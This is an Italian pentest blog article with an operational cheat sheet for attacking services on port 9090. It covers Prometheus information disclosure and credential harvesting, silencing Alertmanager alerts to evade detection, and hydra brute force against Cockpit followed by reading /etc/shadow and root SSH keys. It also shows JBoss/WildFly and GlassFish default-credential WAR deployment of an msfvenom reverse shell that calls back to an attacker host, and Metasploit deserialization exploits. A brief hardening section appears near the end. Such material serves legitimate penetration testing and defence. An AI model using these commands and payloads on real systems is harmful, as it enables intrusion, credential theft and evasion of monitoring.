networking

Porta 9090 Pentest: Prometheus, Cockpit Linux e JBoss RCE

Porta 9090 Pentest: Prometheus, Cockpit Linux e JBoss RCE

Porta 9090: Prometheus senza auth espone intera infrastruttura e credenziali, Cockpit dà shell Linux nel browser, JBoss WAR deploy per RCE. Cheat sheet operativo incluso.

  • Pubblicato il 2026-04-18
  • Tempo di lettura: 5 min

La porta 9090 TCP è un crocevia di strumenti di gestione e monitoring: Prometheus (il sistema di metriche dominante nel mondo cloud-native), Cockpit (la console di gestione Linux di Red Hat che dà una shell nel browser), JBoss/WildFly Management Console (il pannello admin del secondo application server Java più diffuso dopo Tomcat), e a volte anche Openfire (server XMPP) o GlassFish. Ciascuno di questi ha il suo modo di rovinarti la giornata se sei un difensore — o di renderla bellissima se sei un pentester.

Il pattern è ormai familiare: i servizi sulle porte non standard vengono protetti meno di quelli sulle porte canoniche. Un Prometheus esposto svela la topologia completa dell’infrastruttura. Un Cockpit con credenziali deboli dà una shell root in un browser. Una console JBoss permette il deploy di WAR malevoli esattamente come il Tomcat Manager. E la cosa bella è che li trovi tutti sulla stessa porta.

1. Identificare il Servizio #

bash
nmap -sV -p 9090 10.10.10.40
bash
curl -s http://10.10.10.40:9090/ -I
curl -s http://10.10.10.40:9090/ | head -80
IndicatoreServizioProssimo step
HTML con “Prometheus” e “Time Series”PrometheusEnumera target e metriche
HTML con “Cockpit” o redirect a /cockpit/loginCockpitCredenziali Linux
HTML con “JBoss” o “WildFly” ManagementJBoss/WildFlyDefault creds + WAR deploy
Server: GlassFishGlassFishDefault admin:(vuota)
HTML con “Openfire”Openfire XMPPDefault admin:admin

2. Prometheus #

Prometheus è il sistema di monitoring standard in ambienti Kubernetes e cloud-native. Raccoglie metriche da centinaia di servizi tramite HTTP scraping. La sua web UI sulla 9090 è quasi sempre senza autenticazione — perché il design originale di Prometheus assume che sia accessibile solo dalla rete interna.

Information Disclosure #

bash
# Targets — tutti i servizi monitorati
curl -s http://10.10.10.40:9090/api/v1/targets | python3 -m json.tool
json
{
    "data": {
        "activeTargets": [
            {"labels": {"instance": "web-01.corp.internal:9100", "job": "node-exporter"}},
            {"labels": {"instance": "db-prod.corp.internal:9187", "job": "postgres-exporter"}},
            {"labels": {"instance": "redis-01.corp.internal:9121", "job": "redis-exporter"}},
            {"labels": {"instance": "k8s-master.corp.internal:6443", "job": "kubernetes-api"}},
            {"labels": {"instance": "rabbitmq.corp.internal:15692", "job": "rabbitmq"}},
            {"labels": {"instance": "elasticsearch.corp.internal:9200", "job": "elasticsearch"}}
        ]
    }
}

Una singola query e hai la mappa completa dell’infrastruttura: hostname interni, porte dei servizi, tipo di database, versione dei servizi. Ogni instance è un nuovo target per il pentest.

Metriche sensibili #

bash
# Tutte le metriche disponibili
curl -s http://10.10.10.40:9090/api/v1/label/__name__/values | python3 -m json.tool | head -50
bash
# Query PromQL per informazioni specifiche

# Versione del kernel di tutti i server
curl -s "http://10.10.10.40:9090/api/v1/query?query=node_uname_info" | python3 -m json.tool

# Utilizzo CPU (identifica server sovraccarichi — target per DoS o server ignorati)
curl -s "http://10.10.10.40:9090/api/v1/query?query=100-(avg(rate(node_cpu_seconds_total{mode='idle'}[5m]))by(instance)*100)"

# Spazio disco (identifica server pieni — possibili problemi di manutenzione)
curl -s "http://10.10.10.40:9090/api/v1/query?query=node_filesystem_avail_bytes"

# Connessioni di rete attive (chi parla con chi)
curl -s "http://10.10.10.40:9090/api/v1/query?query=node_netstat_Tcp_CurrEstab"

Metriche con credenziali #

Alcuni exporter Prometheus espongono involontariamente dati sensibili:

bash
# Cerca metriche con label che contengono credenziali
curl -s "http://10.10.10.40:9090/api/v1/query?query={__name__=~'.*password.*'}"
curl -s "http://10.10.10.40:9090/api/v1/query?query={__name__=~'.*secret.*'}"
curl -s "http://10.10.10.40:9090/api/v1/query?query={__name__=~'.*token.*'}"

# Configurazione di Prometheus (può contenere credenziali per target autenticati)
curl -s http://10.10.10.40:9090/api/v1/status/config | python3 -m json.tool

La configurazione può contenere:

yaml
scrape_configs:
  - job_name: 'secured-target'
    basic_auth:
      username: 'prometheus'
      password: 'Pr0m_Scr4pe_2025!'

Credenziali per i servizi monitorati — in chiaro nel config.

Alertmanager (porta 9093) #

bash
# Se Alertmanager è esposto
curl -s http://10.10.10.40:9093/api/v1/alerts | python3 -m json.tool

Gli alert attivi rivelano: quali servizi sono down, quali soglie sono superate, configurazione dei canali di notifica (Slack webhook, email, PagerDuty).

bash
# Silenza un alert (anti-detection durante il pentest)
curl -s -X POST http://10.10.10.40:9093/api/v1/silences \
  -H "Content-Type: application/json" \
  -d '{"matchers":[{"name":"alertname","value":"HighCPU","isRegex":false}],"startsAt":"2026-01-01T00:00:00Z","endsAt":"2027-01-01T00:00:00Z","comment":"maintenance","createdBy":"admin"}'

3. Cockpit — Shell Linux nel Browser #

Cockpit è la console di gestione web integrata in RHEL, CentOS, Fedora e Ubuntu Server. Fornisce gestione di sistema completa: servizi, storage, rete, container — e un terminale web che è una vera shell del sistema.

Accesso #

bash
curl -s https://10.10.10.40:9090/ -I -k
# Redirect a /cockpit/login

Cockpit autentica con le credenziali Linux del sistema — se conosci username e password di un utente locale, sei dentro.

Credenziali #

bash
# Testa credenziali note (da altri servizi compromessi)
# Non ha credenziali "default" proprie — usa PAM/Linux
# Se hai trovato password da Redis, database, .env → testale qui

# Brute force
hydra -l root -P /usr/share/wordlists/rockyou.txt 10.10.10.40 https-post-form \
  "/cockpit/login:user=^USER^&password=^PASS^:Wrong password" -s 9090

Post-auth Cockpit #

Con accesso Cockpit:

text
1. Clicca "Terminal" nella sidebar → shell completa nel browser
2. Se sei root → game over
3. Se sei utente normale → enumera per privilege escalation

La shell Cockpit è identica a una sessione SSH — puoi fare tutto: installare pacchetti, modificare configurazione, leggere log, gestire utenti.

bash
# Da Terminal Cockpit
sudo -l
cat /etc/shadow
cat /root/.ssh/id_rsa

Cockpit mostra anche: processi in esecuzione (come htop), log di sistema (come journalctl), connessioni di rete, container Docker/Podman, macchine virtuali se cockpit-machines è installato.

4. JBoss / WildFly Management Console #

JBoss (ora WildFly) è l’application server Java EE open source di Red Hat. La Management Console sulla 9090 è il pannello di controllo per deployare applicazioni, gestire datasource e configurare il server.

Enumerazione #

bash
curl -s http://10.10.10.40:9090/ | head -20
# Se vedi "JBoss" o "WildFly" o "HAL Management Console"
bash
# Management API
curl -s http://10.10.10.40:9090/management \
  --digest -u admin:admin \
  -H "Content-Type: application/json" \
  -d '{"operation":"read-attribute","name":"server-state","json.pretty":1}'

Default credentials #

UsernamePasswordContesto
adminadminSetup comune
admin(vuota)JBoss AS 4.x-6.x
adminpasswordWildFly dev

In WildFly, l’utente management si crea con add-user.sh — se non è stato eseguito, la console potrebbe non essere accessibile (o essere aperta a tutti).

WAR Deploy — Stesso Pattern del Tomcat #

bash
# Genera WAR
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.10.200 LPORT=4444 -f war -o shell.war
bash
# Deploy via Management CLI
curl -s http://10.10.10.40:9090/management \
  --digest -u admin:admin \
  -F "file=@shell.war" \
  -F "operation=add" \
  -F "address=[{\"deployment\":\"shell.war\"}]"

# Abilita il deployment
curl -s http://10.10.10.40:9090/management \
  --digest -u admin:admin \
  -H "Content-Type: application/json" \
  -d '{"operation":"deploy","address":[{"deployment":"shell.war"}]}'
bash
# Trigger
curl http://10.10.10.40:8080/shell/
bash
# Metasploit
use exploit/multi/http/jboss_management_deploy
set RHOSTS 10.10.10.40
set RPORT 9090
set LHOST 10.10.10.200
run

CVE JBoss/WildFly #

bash
searchsploit jboss
searchsploit wildfly

CVE-2017-12149 — JBoss Deserialization RCE

bash
# Verifica endpoint vulnerabile
curl -s http://10.10.10.40:8080/invoker/readonly -I
# Se 500 → probabilmente vulnerabile

# Exploit
use exploit/multi/http/jboss_invoke_deploy
set RHOSTS 10.10.10.40
run

JMXInvokerServlet — deserializzazione Java classica:

bash
curl -s http://10.10.10.40:8080/invoker/JMXInvokerServlet -I
# Se 200 → target per ysoserial

Post-exploitation JBoss #

bash
# Datasource credentials (come WebLogic/Tomcat)
cat /opt/wildfly/standalone/configuration/standalone.xml | grep -A10 "datasource"
xml
<datasource jndi-name="java:/jdbc/AppDS">
    <connection-url>jdbc:postgresql://db-prod:5432/app</connection-url>
    <security>
        <user-name>app_user</user-name>
        <password>AppDB_2025!</password>
    </security>
</datasource>

Credenziali PostgreSQL.

5. GlassFish (se presente) #

bash
# Default: admin con password vuota
curl -s -u "admin:" https://10.10.10.40:4848/management/domain -k -I
# 4848 è la porta admin standard, ma può essere 9090
bash
# Deploy WAR via REST
curl -s -u admin: -X POST https://10.10.10.40:4848/management/domain/applications/application \
  -H "X-Requested-By: GlassFish" \
  -F "id=@shell.war" -k

6. Detection & Hardening #

Prometheus #

  • Non esporre su Internet — Prometheus dietro reverse proxy con auth
  • Auth via reverse proxy — Prometheus nativo non ha autenticazione
  • Scrub credenziali dal config — usa file SD (service discovery) senza password inline
  • Firewall — porta 9090 solo dalla rete di monitoring

Cockpit #

  • Password forti per gli utenti Linux — Cockpit usa PAM
  • Disabilita root login in Cockpit: root in /etc/cockpit/disallowed-users
  • TLS con certificato valido
  • Firewall — porta 9090 solo da IP di amministrazione

JBoss/WildFly #

  • Crea utente admin con password forte (add-user.sh)
  • Rimuovi endpoint pericolosi: /invoker/, /jmx-console/, /web-console/
  • Non esporre la Management Console su interfacce esterne
  • Patch — deserializzazione Java è un problema ricorrente

7. Cheat Sheet Finale #

AzioneComando
Nmapnmap -sV -p 9090 target
Bannercurl -s http://target:9090/ -I
Prometheus
Targetscurl http://target:9090/api/v1/targets
Configcurl http://target:9090/api/v1/status/config
Querycurl "http://target:9090/api/v1/query?query=PROMQL"
Kernel infocurl ".../query?query=node_uname_info"
Alertmanagercurl http://target:9093/api/v1/alerts
Cockpit
Loginhttps://target:9090/cockpit/login
Brute forcehydra -l root -P wordlist target https-post-form ...
JBoss/WildFly
Managementcurl http://target:9090/management --digest -u admin:admin
WAR deployVia management API o Metasploit jboss_management_deploy
Invokercurl http://target:8080/invoker/readonly
JMXcurl http://target:8080/invoker/JMXInvokerServlet
Searchsploitsearchsploit jboss wildfly glassfish

Riferimento: Prometheus Security, Cockpit docs, JBoss/WildFly Security, HackTricks. Uso esclusivo in ambienti autorizzati. https://www.pentestpad.com/port-exploit/port-9090-prometheus-prometheus-monitoring

Prometheus esposto? Cockpit accessibile? La tua infrastruttura potrebbe essere più aperta di quanto pensi. Verifica con HackIta. Per padroneggiare il pentesting di middleware Java: formazione avanzata 1:1.

#porta-9090 #prometheus-information-disclosure #cockpit-linux-pentest #jboss-wildfly-rce

DIVENTA PARTE DELL’ÉLITE DELL’HACKING ETICO.

Accedi a risorse avanzate, lab esclusivi e strategie usate dai veri professionisti della cybersecurity.

Non sono un robot

Iscrivendoti accetti di ricevere la newsletter di HACKITA. Ti puoi disiscrivere in qualsiasi momento.